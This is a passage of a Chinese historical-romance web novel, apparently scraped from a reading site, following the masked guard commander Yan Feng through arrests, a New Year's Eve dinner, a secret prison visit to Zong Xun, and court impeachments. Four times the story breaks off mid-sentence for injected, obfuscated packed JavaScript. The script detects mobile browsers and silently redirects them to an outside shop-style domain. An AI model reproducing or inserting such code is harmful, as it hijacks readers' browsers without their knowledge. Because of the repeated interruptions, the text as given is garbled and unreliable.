于是众人下了定论：不过是个祖坟冒青烟的寒门子弟。若稍知分寸，大抵也会步马顺的后尘，低头缩颈，在这闲散衙门里混个资历便罢了。 可他们很快便笑不出来了。 年关将近，各衙门早已松懈，规矩自也松了几分。值守的偷懒，衙门里的贪杯。官员狎妓虽有明禁，但年底说几句风月秽语、往青楼楚馆走一遭，早是不成文的默许，人人睁只眼闭只眼，只求安稳过个年。 谁料这位新任镇抚使，第一刀便砍在这宽例之上。 那一夜，京中数处青楼酒馆同时遭北镇抚司突查围控。初闻风声者只当是哪家嫖客不懂规矩，闹了个风月丑闻，谁也没放在心上。直到被押出来的名单流传开来—— 朝野哗然。 其中不光有庶吉士、京营副将，就连刑部尚书薛兆的嫡子，也赫然在列！ 薛尚书闻讯，几乎气得掀了书案，当即起身欲往北镇抚司讨人。 终究是三朝老臣，走出门没几步，他便冷静下来，连夜遣人四处打探这位燕镇抚使的底细。 结果却是，查了一夜，一无所获。 燕风这个名字，在六部衙门、京营编录、翰林档案中皆无踪迹。无门无派，无资无引，宛如凭空而来，石中蹦出一只泼猴。 唯一确凿的消息是，此人似得圣眷极重，隔三差五便入宫述职，御前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485555|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 密谈竟成了例行公事。 薛兆读懂了其中意味，登时冷汗涔涔。次日清晨朝会散后，他亲自入宫谢罪，为子求宽。 圣上召见其于养心殿，殿外小雪纷纷，殿内则暖香宜人。 薛兆伏地请罪，言辞恳切，皇帝却并未动怒，反倒安抚道：“薛卿不必自责。你为朝廷操劳多年，鞠躬尽瘁，朕都记着。至于你家那孩子……年纪轻，贪些热闹，也是常情。” 说到此处，他笑道：“朕也是做父亲的，也有几个不省心的儿子。小时候调皮可爱，越大却越叫人头疼。昨儿老三才为一桩小事与讲官顶撞，气得朕几乎不想见他。” 皇帝待臣下一向宽和。此番语气温煦，似是闲话家常，又若不经意地将“朕与尔等同为人父”轻轻一提，瞬时拉近了君臣之间的距离。 薛兆听在耳中，只觉陛下襟怀广大，仍不失体恤臣下之情，不禁心头激荡，恨不能当堂剖心，以报圣恩。 皇帝视线落在另一侧恭立的玄衣人身上：“燕风，朕知道你是个极为认真的。只是刚上任，行事别太锋利了。” “一个孩子贪玩犯了错，留他一夜长点记性也便罢了，何必较真到底，你说是也不是？” 那青年人听罢立刻俯身躬行，语气恭顺温和：“微臣惶恐，臣这便把人放了。” 皇帝摆摆手：“去吧，莫要闹得满城风雨。年关近了，大家都图个太平。” 薛兆一颗心这才落地，叩谢皇恩，感激涕零。 走出宫门，雪下得更大了些。 皇上既已发话，薛兆便打算回府，叫人准备软轿马车低调去北镇抚司领人。 正要与这不识好歹的镇抚使作别，却不料，那在殿中态度温驯、礼数周全的年轻镇抚使忽而止步，侧身作了个“请”的手势。 “薛大人，既是接人，不如随微臣顺路走一趟。” 言辞依旧恭敬，唯那一身煞气，不知是风雪所衬，还是本就森然凌厉，叫人不寒而栗。 薛兆心头不悦，依然点头应下。 一行人抵达北镇抚司。 院门大开，执役跪迎。燕风稍点点头，抬手示意：“把昨日抓的薛公子带出来。” 不多时，一名衣衫凌乱、神情惶惶的年轻人被押了出来。 他面色蜡白，一见父亲，顿时崩溃扑上来，嚎啕痛哭：“爹啊！这里又冷又脏，饭是馊的，还有老鼠咬我……呜呜呜……” 薛兆脸上一僵，一手扶住儿子，斥也不是，哄也不是。 恼他不争气，更羞他当众哭丧。 他下意识抬眼，却见燕风负手立于阶前，偏面具下的嘴角微微挑起，似笑非笑。 虽不发一言，那股讥诮与轻蔑却分毫不掩，直刺人心。 薛兆眼角一跳，低声喝止儿子闭嘴，心中恨极，却强作镇定，生生忍住未发。 此辱，必报！ 50. 除夕 看着刑部尚书父子俩的车马走远，北镇抚司门前，不少人脸上都带着藏不住的痛快。 比起先前跟在马顺手下那段窝囊光景，这一遭，可真是扬眉吐气！ 谁能想到，有朝一日，连堂堂刑部尚书也要在他们衙门前吃瘪？ 这时，押送薛公子的牢头试探着问：“大人，那几个一同带回来的如何处置？” 燕风挑眉，看起来心情甚好。 “何须问我？律法里写得清楚：官员狎妓宿娼者，立即罢官，永不叙用。” 此言一出，饶是司中平日最爱惹是生非的几个，也不由得透出几分担忧。 他们再没脑子，心里也不得不承认：牢里那些人，有的是六部属官，有的乃高门子弟，如今借着这新镇抚使的势压一压也就罢了，真要罢官逐出，岂是他们这些小人物说得了的？ 最可能的结局，不过是关到年后官复原职，届时再来‘秋后算账’。 谁知燕风却忽然轻笑：“玩笑而已。圣人宽和，又值年关将近，留他们多关几日，年前放出去就是。” 众人顿时松了口气，眉目也跟着舒展，心道这位新任上官虽威势凌人，却也不是全然不通官场人情。 又过了三日，除夕。 那几个被关进来的高门子弟，终于在这一日被放了出去。 北镇抚司早早散了值，众人各自归家过年。满大街皆是张灯结彩、笑语人声，连空气里都透着一股团圆的热气。 燕风也拎着东西出来，本打算径直回家去，但刚走出没几步，忽然想起自己落了一件厚褂子在司里的偏厅。 那褂子被什么勾扯坏了袖口，便想着拿回去让江鱼缝补一下，也好过完年再穿。 折返时，院里早空了。燕风脚步轻，刚要进偏厅取衣裳，余光忽然瞥见白砚生从另一道门里出来。 白砚生尽责，平日里也常常走得最晚，她一开始并没放在心上，可今日他却有些不同。 只见他步履匆匆，走到转角忽地一拐，未朝平日回家的方向，反而闪进了司后那条僻静小巷。 燕风默默停了脚步。 她没有出声，微微侧了身，目光朝那头掠过去—— 那巷子口不远处，竟有另一道身影等在那里。 裴正。 自马顺请辞调往南京之后，这位昔日二把手也许久未露面。却不想此刻竟与白砚生并肩而行，低声交谈着，一同朝小巷深处走去。 燕风远远望了一眼，良久懒洋洋地一笑，转身离去。 就当没看见。 回到家里，天色已擦黑。 江鱼早已将一桌子菜热腾腾地摆满了大桌，菜碟紧挨着菜碟，香气扑鼻。她还特意买了几只颜色喜庆的瓷碗，窗上也贴着剪好的红色生肖纸样，处处透着过节的气氛。 燕风站在桌边，看着满桌的大餐，笑道：“做这么丰盛？明天的日子不过了？” 江鱼斜了她一眼，拍掉她正伸向卤猪蹄的手：“洗手去。” 燕风露出一个憨笑，卷起袖子，乖乖走向水缸舀水洗手。 若是她那群司里的手下在场，怕是要瞠目结舌——北镇抚司第一号心思难以捉摸的神秘人物，竟也会笑得这样纯良温顺。 江鱼站在一旁絮絮叨叨：“好歹是除夕，总得丰盛些。放心，不会浪费的。天冷，吃不了的明后日也能热着吃。再说，我还不知道你这胃口呢，少了你准不够吃。” 两人洗净手，围坐在桌前，厨房的炉火跳跃着，映得窗纸更红。 窗外大雪未停，冷风呼啸，这屋内却暖意融融，家常又温馨。 饭吃到一半，江鱼咬着筷子犹豫了下，还是开了口：“头，你从前在京城的时候，是不是得罪了不少人？” 燕风瞥了她一眼：“有话直说。” 江鱼吐了吐舌头，知道瞒不过她，索性放开了道：“今天我去南市买菜，路过菜场边的客云来。那儿新来了个说书先生，门口围了不少人。我原本没在意，结果一耳朵听见他提到‘北镇抚司’和‘镇抚使’几个字，我就进去听了几句。” “哦？那他们都说我什么了？” “劝你还是别问了，”江鱼嘴角抽了抽，“反正不是什么好听的。” 燕风一听，倒是乐了：“他们脸皮是真厚。我可什么都没做，就前几日抓了几个狎妓的官员而已，他们就这么败坏我名声？” 江鱼松了口气：“原来是这样！我还以为你做了什么伤天害理的事儿，吓我一跳。早知道我就进场去跟那说书的理论几句，阿瑶怎么拉我我都不管了！” “阿瑶？”燕风挑眉，“新交的朋友？” “不是从前和你提过吗？她就住这条巷子，家里只有一个哥哥。她比我小两岁，看着柔柔弱弱，其实挺能干。我们刚搬来的那天，我去买菜，就是她领我去的。人也热心，就是胆子有点小，一直叮嘱我出门别提北镇抚司，说咱们仇家多，现在街头巷尾都在骂你。” 燕风点了点头：“这话说得倒是没错。她哥哥叫什么？” “她没提名字，但她姓白嘛，白淑瑶，那她哥应该也姓白，听她说也在北镇抚司当差，应该就是你下属。” “姓白的……”燕风喃喃重复，若有所思。 “找个时间，你带来给我瞧瞧？” “可不敢可不敢！”江鱼连连摆手：“阿瑶快十五及笄了，满脑子都是找个好夫家，你是她哥上官，她明着暗着向我打听了好几次你呢！你平日里扮得那叫一个潇洒倜傥，可不能让她看见，万一让人家小姑娘害了相思病，可真是造孽。” 燕风“噗嗤”一笑，玩笑道：“这简单，你就说你是我夫人，她总不能看上个有妇之夫吧？这念想自然就断了。” 江鱼白了她一眼：“你怎么也想辱我清白！她还真问过我，我俩孤男寡女住一块，是不是被收了做妾。我当然死活不认，她不信，磨得我实在烦了，我就胡诌，说我是你同族堂妹，如果在一块儿，那就叫□□！” 她想了想，又补了一句：“哎，我这样，不算攀附皇亲吧！” “你脑子转得倒快。可同族可是同姓的啊，你和她说你叫燕鱼了？” “我也想啊，可是我第一天便和她通了名字，所以现在只能找补， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485556|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说我名江鱼，姓燕，全名叫燕江鱼。” “腌甲鱼！” 燕风捧腹大笑，“行啊你，宁愿当腌甲鱼，也不愿当我娘子？还是你已经有了心上人？” 这话一出口，气氛便有些微妙。燕风眼中笑意微微一敛，马上开始后悔。 她当然知道江鱼心里藏着谁。 他们来京已经一月有余，一切虽然都看上去顺风顺水，但陈青跟着宗恂却始终被拘在牢里，音信全无。 江鱼嘴上不说，心里怎会没有猜测？她平日性子看似大大咧咧的，其实心思敏感得很，做事也极有分寸。 两人一个不问，一个不提，早有了某种心照不宣的默契。 果然江鱼微微一怔，不自然地笑了笑，随即低下头，胡乱夹了一块红烧豆腐塞进嘴里，一时烫得呲牙咧嘴。 恰在此时，隔壁街坊也放起了爆竹，噼里啪啦声响彻整条巷子，孩童们的嬉笑声夹杂在火光中，映得她们的小院也显得热闹。 燕风顺势转开了话头：“小鱼，上回我让你改的，和做的那两件褂子，怎么样了？” “早改好了！” 她立马跑去箱笼里翻找，不多时便捧出两件叠得工整的衣服。她把衣服摊在床炕上，语气里颇带几分得意。 “一件你做的，一件我做的。我都塞了细棉，保证轻软又暖和。料子还是我跑了好几趟东市才抢到的，正经铺子刚上的头批货。” 她忍不住感叹：“头，你还真有心啊，平时忙得脚不沾地，还惦记着做衣服。我原本还以为你不会这些呢，谁知道……” 话到一半，她看了燕风一眼，嘴角带笑没再说下去。 “谁说是我做的了？” 燕风耳尖微微泛红。 江鱼吐吐舌头，没再拆穿她。反正她半夜起夜，撞见这位堂堂北镇抚司镇抚使挑灯缝衣，也不是一回两回了。 她把衣服铺平，又抻了抻下摆，忽然指着其中一件衣襟里侧：“别的都还好，就是这里怪怪的。你看这三条歪歪扭扭的线，跟我后院那只小鸡踩出来的爪印似的。头，你是不是拿它练手，结果忘了拆？” “什么鸡爪印！休要胡说！” 燕风耳根更红，手一伸，三下五除二地把衣服包好，往身旁一搁，又回饭桌上吃饭了。 “小鱼，你来尝尝这酒。我总觉着味淡，是不是那卖酒的坑人，往里头兑了水？” 江鱼瞥了她一眼，看着她此刻心虚地胡说八道，不禁噗嗤一笑，乖乖接过酒杯。 “还真是有点淡呢，那我多喝几杯。” 说着连饮数杯，没一会儿，江鱼就嚷着自己喝醉了，乖乖地回屋，倒在了炕上。 燕风见她如此配合，既觉好笑，又忍不住心酸。 她提起包裹，回身落锁，确认无误后，便攀上屋檐，几个起落，消失在夜色深处。她并未立刻前往牢狱，而是先绕去了城南一处荒废的宅邸。 宅中幽暗破败，荒草没膝，四下无人，冷风穿墙而过。果不其然，有人早已候在其中。 她眯眼细看，忽然一惊： “怎么是你？” 51. 风来 “罗同呢？” 燕风从檐上跃下，掸去衣上浮尘，目光扫向那人。 迟三仍是一身黑衣，此番却未覆面，露出一张平平无奇的脸。 他面色不善，嘴上也不客气：“托你的福，姓罗的正忙着给你在牢里那位相好奔走，哪还抽得开身？自然只有我来。” 燕风不以为意地笑了笑：“你来得正好，我正有东西要还你。接好了，别说你不认得。” 说着从背后取出一个方方正正的包裹抛了过去。 迟三接住，掀开布料，一个暗沉沉的小铅盒露了出来。他没打开，却眉梢一挑：“你怎知是我？” “看来我没猜错。” 燕风淡淡道：“也没什么了不起的。我听说过这类石头，虽然确实对人有害，但也没那么邪乎。那些撞邪的怪事，大概也只有你有本事能弄得出来。” “那你带回来做什么？”迟三冷哼一声。 “留在永宁公主的内库里不好吗？她比起她那位姓魏的好姐妹，可是有过之而不及，什么下场都是活该。” “还是说……你这会儿开始顾念起血缘了？说起来，你们可真不愧是亲姐妹。她那些龌龊事，大多不过是为了几个长得好看的男人。你也差不多，为了那个姓宗的小白脸，连命都肯豁出去。” 燕风脸色一沉，深呼了口气才慢慢开口。 “我大概明白你为何厌恶皇帝，所以也顺带厌恶我，一个继承了他血脉的女儿。然而我心中的恨，未必要比你的少。这一点，罗同应当已告诉过你们。” 她顿了顿，继续道：“我无法选择我的出身。可你也别忘了，我们如今是站在同一边的。若不是我日日忍着恶心在皇城里周旋，你们的人又如何敢来京城？” 迟三心中明知她所言不虚，却仍冷嘲热讽：“忍着恶心？我看你是尝到了权力的滋味，正乐在其中呢！不是前几日才抓了一帮权贵子弟？怎么！你不知道宗恂他们的案子将来是要归刑部管的，罗同他们为了你，正绞尽脑汁想要巴结刑部的人。” “你倒好，直接把刑部尚书的儿子给抓了！” 燕风神色不变：“我自有我的道理。” 她不再与他纠缠，话锋一转，直入正题： “我今晚来，是有件事想问你们——” “当初那个潜入皇宫原本要刺杀皇帝，却突然反水的人，到底是谁？” 迟三神色一变，冷笑：“连这你也知道？罗同告诉你的？” 燕风不自觉地眨了眨眼，语气依旧淡淡：“不是他告诉我的。是我推断出来的。” “你们试探我之前，并不清楚我的能力。以此类推，你们大概也不可能知道皇帝身上的。毕竟，连他自己都未必完全明白。可现在你们不但清楚，还能反过来对我提防，说明你们在这上面吃过苦头。” 迟三沉默，神情晦暗。 燕风皱了皱眉：“怎么，不说？还是你们终究信不过我？” 迟三哼笑一声：“我们确实讨论过，但最后，还是决定，不能告诉你。” 他向后靠在残墙边，语气里带着冷津津的调侃： “你可别误会，这可是为你好。知道得太多，不见得是好事。那人行事一向不按常理，他的能力更是神秘，清楚的大概都去见了阎王。连我们碰上他，都得绕着走。” 他慢悠悠道： “你若真知道他是谁，被他察觉到了敌意，说不定哪天就死得不明不白了。奉劝你一句，乖乖在你老爹身边扮一条忠心耿耿的狗，别露了马脚。其他事情，自有我们来做。” * 和迟三不欢而散后，燕风眉宇间隐隐压着怒气，心头更是沉郁。 迟三那番话，让她始终觉得不安。 那人若真如迟三所言那般危险，甚至早已潜伏在自己身边，眼前的局面就远比她所想的复杂得多。稍有动作，便可能引火烧身。 她在巷角停下来，背靠着砖墙，仰头看了一会儿夜空。周围爆竹一阵一阵的，不知谁家的孩子跑出来嚷嚷，笑声隔着墙传来，又散进夜色里。 怀中那件冬衣在心里压着，已经压了好些天了。 她想了想，还是抬脚朝大牢的方向走了。 片刻之后，一道轻风掠过屋瓦之间。燕风隐入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485557|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜色，悄然落于刑部高墙之上。 她对这片牢区的结构了然于心，也十分清楚宗恂与陈青被关在哪一间。然而此刻蹲在他上方，距他不过咫尺，她却忽然生出一丝紧张。 她在瓦片上静静伏了好一会儿，才轻轻揭开一角瓦缝，低头望去。 牢房高窄幽暗，她一眼便看见了他。 宗恂坐在角落闭目养神，神色平静，眉宇间仍是那份从容。虽清减不少，衣衫也单薄，却不见伤痕，周身尚还算整洁。看来罗同他们并未失职，未让他受太多苦。 燕风心下稍宽，唇角不自觉弯了弯。 就在那一瞬，宗恂仿佛有所察觉，眼睫微颤，目光就要朝屋顶方向扫来。 燕风下意识迅速别开脸，退入阴影中，不敢与他对视。 又等了片刻，她深吸了一口气，抬手轻轻一送，一道风势悄然托起掌中小包裹，将其精准无声地送入牢窗内缝。 包裹落地无声。燕风像个真正的小贼似地贴在瓦上，整个人没进夜色里，屏息往下瞧。 底下，宗恂察觉到动静，目光落向窗下那团新落的包裹。 他并未露出惊讶之色，只是沉默地伸手拾起，显然是早已习惯有人暗中送来些东西。 可这一回，他指尖触及布料时，竟微微一滞。 他借着窗隙洒落的月光，小心拆开包裹，触手之处，是两件剪裁朴素的冬衣，线脚细密，仿佛还带着来人的体温。 他顿了顿，缓缓展开。 仿佛冥冥之中有什么指引，他的手指很快抚到一件衣襟的内侧。那里，有三道细细的锈纹。它们并不规整，但显然是刻意为之的勾画。 恰在此时，夜空中一声炸响，一簇除夕烟花倏然绽放。 火光照亮牢房，也照亮他掌心那片素白。他凝视良久，指腹轻轻摩过那三道粗糙的绣线。 不远处，陈青翻了个身，迷迷糊糊问：“将军……怎么了吗？” 牢房里沉默片刻。窗外，烟花散尽，夜风悄悄拂进来。 宗恂忽而低低一笑，嗓音沙哑而温柔： “没什么，是风啊。” 52. 角力 寅时初刻，静鞭三响破晓。 承天门至午门的御道两侧，锦衣卫大汉将军金甲熠熠。百官分两班经左右掖门肃穆而入。丹陛之下鸿胪寺官唱班导引，东文西武依品级列位，象牙笏板如雪浪层叠。 自大靖开国以来，元旦大朝仪最重礼乐。教坊司设中和韶乐于殿檐下，陈大乐于午门，六十四名佾舞生已就位。 此刻，奉天殿前鎏金香炉中，香饼初燃，青烟袅袅升起。钟鼓齐鸣，乐声渐起，正是帝国威仪极盛之时。 丹墀东南角的锦衣卫班列中，一道身着深青织金飞鱼赐服的身影挺拔如松。 新任北镇抚司使燕风手按绣春刀而立，衣摆处的织金纹路在晨光中若隐若现，其特殊的恩宠与威势，即便在肃穆的朝列中也难以忽视。 月前，这位名不见经传的锦衣卫统领雷厉风行，将数位权贵子弟缉拿下狱，其中便有刑部尚书薛兆的独子。 此刻薛兆身着正二品云雁补服。他行经御道时，目光似不经意地扫过燕风，眼中鄙夷与威慑之意昭然。 燕风眼帘微垂，神色如常地执礼相迎。 宗室队列前端，皇子们华服加身，气度非凡。 其中当三皇子朱见埈最为瞩目，他与行五的永宁公主、七公主同为周贵妃所出，因母族功高显赫而备受恩宠，此时立于诸皇子之前，风光无二。 不知何故，朱见埈也朝着燕风多看了几眼。他的视线毫不掩饰，带着居高临下的审视。 钟鸣三下，太监尖声唱诏："陛下驾到——" 三十六名太监手持华盖、旌节等卤簿仪仗，分列御道两侧。身着十二章衮冕的身影出现在奉天殿高阶之上。 当龙纹赤舄踏上丹墀时，太常寺赞礼官高唱行礼，山呼声震得檐角铜铃齐鸣： "吾皇万岁！万岁！万万岁！" 百官伏拜，天子威仪令人心神俱震。 燕风亦俯首贴地，只是在众人看不见的角度，唇角泛起一丝冷笑。 元旦朝贺过后，便是连着四日的节假。 宫中多歌舞宴饮，百官亦暂得清闲。 北镇抚司，却不在此列。 新官上任，三把火烧得正旺。燕风照常赴司，日坐厅上，查卷理事，缉令校文，丝毫未见懈怠。手下自千户至缇骑皆轮番值守，司中秩序如常。 五公主不知从何得了燕风的住所，竟数次遣人登门造访。 只可惜每次都扑了个空，只得与门上那唯一的丫鬟周旋。 江鱼便扮作一派蠢钝模样，一问三不知：“大人？不在家呀！去哪儿了？我也不晓得啊，大人从来不和我说话的……” 宫人无可奈何，只得转道直接去了北镇抚司。 司门一向冷清，此时忽有公主钦使而来，署中众人无不肃然。 燕风早已得报，先在偏厅拱手候见。 她一身常服，言语温和：“几位远来，实在辛苦。殿下所命，岂敢怠慢？只是近日职事繁冗，若失礼处，还望宽宥。” 几名内廷来人神色恭敬，奉上一封素笺与一只描金软匣： “殿下打算在下月初十设宴于赏梅台，邀京中贵女结伴清游。又因梅林幽僻，宫禁之外，恐有不测，思及镇抚司耳目最为通畅，便问大人可否于宴日亲为护送。” 燕风略一思索，随即点头：“那几日正好无事，既是公主所托，自当从命。” 她又遣人取来茶点，亲为奉盏，补充道：“护卫之事需事前筹备，日后还请公主宫中详告人数、出入时辰，我好提早布置。” 几位小太监见她言行有礼，心中俱生几分好感，辞行时态度更胜来时。 而在京中另一隅，一道口谕悄然传至刑部。 宗恂自北地解押入京，羁押已月余，却仿佛被遗落在那座湿冷幽深的高墙铁狱中。 直到这日清晨，皇帝才仿佛恍然记起似的：“宗恂数月前假托上司手令、诬告石亨通敌，朕记得此事尚未结案。着刑部再审。” 无旨，无诏，讼台不闻，御史台亦不察，低调至极。 案卷展开，原本值事的刘姓郎中却忽称身体不适，告假一月，遂由另一位主事接手。此人姓陈，年方四十出头，性情古板。既不结党营私，亦无权贵倚仗，素以清谨持正闻名。 与此同时，皇帝又私授口谕，命北镇抚司旁查此案。 燕风接旨，亦未声张。 案情并不复杂，陈郎中又是个耐得下心的人。几日之后，便将复查结果呈送上官： 宗恂确有假托手书之嫌，但揭发之事并非空穴来风，所禀之事证据确凿，诬告之说站不住脚；至于坊间所谓私通边瓦，更是无稽传言，稍作查证便已自破。 结案陈词写得谨严缜密，几无可挑之处。 谁料此时，北镇抚司使亲自登门。 燕风带着一众属员，径直入刑部公堂，气势张扬。 她捧卷就坐，逐段挑刺、逐句质难，行为举止虽还算克制得体，语气却锋利得几近咄咄逼人。 刑部尚书薛兆端坐于上，眉头渐紧。 他不知皇帝暗中授意，只看燕风言行，心中愈发笃定：此人定与宗恂有私怨旧仇。 当晚，他便亲自去狱中探视宗恂，见过一面，又想到这几日属下带来的传闻，突然恍然大悟。 回宅之后，立刻召集心腹属官议事，又悄然联络御史中交好之人。 次日清晨，一道奏章递入内阁，矛头直指北镇抚司使： “燕风藉职报私，迫害忠臣；宗恂虽涉轻罪，却忠心赤胆，十七岁起戍守南赣边关，出生入死，战功赫赫，反被无端深陷。此等风气，若不整肃，朝纲焉存！” 奏章笔锋如剑，语气铿锵。薛兆素有文名，这一篇更是修润三次方才封缄。 与此同时，御史台数人亦联章弹劾，百官议论愈演愈烈。 “镇抚司擅权逼供，徇私妄断，冤害忠臣！” “宗将军战功赫赫，国之干将，岂容构陷！” “行事专横，礼法不顾，公私混淆！” 朝中骤起波澜，风云欲来。 锦衣卫例不列朝，朝会上群臣激辩、御史抗章之盛，燕风自然无缘亲见。但只看署中属员一个个神色如土，便知局势不妙。 然而，令人玩味的是，面对这般汹涌官怨，皇帝却并未如往常那般从善如流。 早朝时他神色阴郁，一言未发，而一整日过去，宫中仍无半点动静。 当日傍晚，燕风如常下值。 她一进宅门，便脱下公服，披了件家常衣裳，静静坐于暖炉前，闭目不语。 自早间杨胜火急火燎跑来说“被御史弹劾”，她便一直这样怏怏的模样。 江鱼不敢触霉头，小心奉上热茶。 她接过，却未喝，只问：“去曹府前看看，看曹公公回来了没有。” 江鱼应声而去，半柱香后归来：“还没见着人。” 燕风点点头，不再言语。她起身走入内室，不久又出来，手中拿着一壶酒。 “我自己待一会儿。你自歇息去吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485558|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >江鱼犹豫片刻，终究退下，替她掩门。 屋中烛火微摇，燕风独自坐于榻前，一杯接一杯，慢慢饮尽，一派借酒消愁的苦闷之状。酒至微醺，她抬手按了按眉心，终于起身，倒在榻上。 夜愈深，风愈紧，窗棂吱呀作响。 她静静躺在棉被之中，一动不动，仿佛已沉入梦中。 许久后，被中忽然微微动了一下。 在那团温软黑暗之中，她嘴角渐渐不受控制地上扬。胸腔激颤中，她无声大笑： “成了！” * 这场风波始于薛兆，亦是他最早察觉异样。 薛兆，建熙十五年进士，历仕四朝三帝，坐镇刑部至今十余年，威望深厚、心思深沉。 他一手执掌天下刑名，但真正熟稔于心的，却是那些帝王喜好与权门秘辛。 他之所以如此迅速地上奏参劾燕风，固然有对其当众驳难的怨气，更是因为他自信知晓：宗恂不能死。 宗恂十七岁起纵横沙场，南赣血战、军功赫赫，被南赣百姓尊为战神——这固然是一重护身的铠甲。 然而真正让薛兆断定皇帝不会下死手的，并非战功，而是他那另一重身份：福瑛长公主的独子。 宫中多年前的旧事，他怎会不知？ 陛下登基前不过宗室旁支，福瑛却是当朝公主、先帝膝下唯一的掌上明珠。 年少时两人感情甚笃，甚至算得上情状暧昧，虽然后来公主另嫁他人，断了这段同宗不伦之情，但外头从来传得绘声绘色。 只要枕边香风未冷，陛下就不会真的容忍宗恂死于狱中。 薛兆相信，自己这一道折子，表面是弹劾奸人，实则是借风行船，替皇帝解围。 君子不诛忠臣，皇帝的名声依旧可以洁白无瑕！ 至于燕风为何非要咬死宗恂？ 他自有一番解读。 燕风此人，来历模糊、身世不显，却在北镇抚司横空出世。世间升迁多凭政绩人望，而他呢？ 薛大人猜，燕风背后大概便是五公主了。 他那副不露真颜的面具，怕也并非为疤痕所迫，反是为掩俊色！ 朝中皆知五公主喜爱美姿少年，故而年过十八迟迟未嫁。更有传言，她早年亦曾对宗恂动情。那位年少成名的南赣战神，曾是多少深闺梦里的英雄。 昨日他亲眼见过狱中那青年将军的模样，便知此说并非妄言。 如此一来，燕风欲除宗恂，非是因公，而是情仇妒念使然！ 薛兆自以为一番推演入木三分，当日击节自喜，认为弹章一出，定能正中皇帝下怀。 岂料事与愿违。 直到翌日清晨，才有口谕传至刑部：“宗恂案中无实罪，予以释放，回府休养。” 薛兆原本心头一松，谁知接下来却无任何处置燕风的明诏，仅有只言片语道：“镇抚司使近来烦忧过甚，着令休养数日。” 非贬、非罢，甚至连申饬都算不上。 一切，就这么轻轻揭过了。 薛兆心头顿生寒意。皇帝一个“休养几日”，竟打算压下百官联章、舆情汹涌？ 圣上此番态度，与平日处理廷怨之法大为不同。 他沉吟许久，越想越不安，忽地生出一念：莫非那燕风……竟是奉了圣意而动？ 一念及此，冷汗涔涔。 他立刻暗中传令，命自己安插在御史台与六部的线人暂且按兵不动，勿再提及此事。 这一场讨伐，至此才悄然收势。 53. 风炽 宗恂既已无罪开释，燕风心中自然畅快非常。 不过面上功夫还是要做足。 她整日闭门不出，在家里白日卧榻，夜里便抱着酒壶浅酌几杯，不出两盏便假装醉意朦胧，状若烦忧不堪。 江鱼见她一副颓然模样，也不敢多话，只好日日吃力地将她扶入房中歇下。 可没人知道的是，一入夜，燕风便同犯了夜游症似的，轻车熟路翻墙而出，于京中屋脊间纵跃穿行，身如飞燕，踪影难寻。 去往何处，全凭兴之所至。三日皆如是。 几番试探，燕风心中已然笃定：无人跟着她。 就算真有世外高人，技高一筹，让她毫无察觉。这样不眠不休地跟了她三日，那人也该晕头转向，放松戒备了。 第四夜，她绕过数座高门大宅，最后竟落到了福瑛长公主府的飞檐之上。 她当然是有意而来：宗恂十七岁便开始驻守南疆，回京这一个月还都在牢里，自然没有自己的府邸，仍住于母亲府中。 宗室宅邸的布局，她再熟悉不过。 她无声潜至一处飞檐之上，缓缓蹲下，手指轻拨瓦片一角，朝下方窥去。 屋内灯火未熄，反而光影幢幢，水汽氤氲，竟像是…… 正在沐浴。 燕风愣了，脸上倏地升起一片红霞。 她脑中闪过数个念头，在清正持重与邪欲本性之间挣扎数息，还是红着脸压低身子，决定再凑近一点…… “你在做什么？” 背后忽然传来一个熟悉的声音，语气里带着显而易见的笑意。 燕风整个人一震，几乎要从屋顶翻下去。 她急忙稳住身形，回头果然看见了宗恂站在檐角。他身着便袍，一双眸子熠熠生辉地望着她。 “我、我……” 她一下子结巴了，像个潇洒半生终于被逮住的老贼，连舌头都打了结，半晌才找回自己的声音： “你你怎么在这儿？你不该，在下面吗？” 宗恂挑了挑眉，顺着她指的方向看了一眼：“大半夜的，镇抚使不睡觉，爬到公主府屋顶上偷看婢女沐浴？” “婢女？” 燕风怔了怔，回头再看瓦缝下那氤氲水汽，满脸不解。 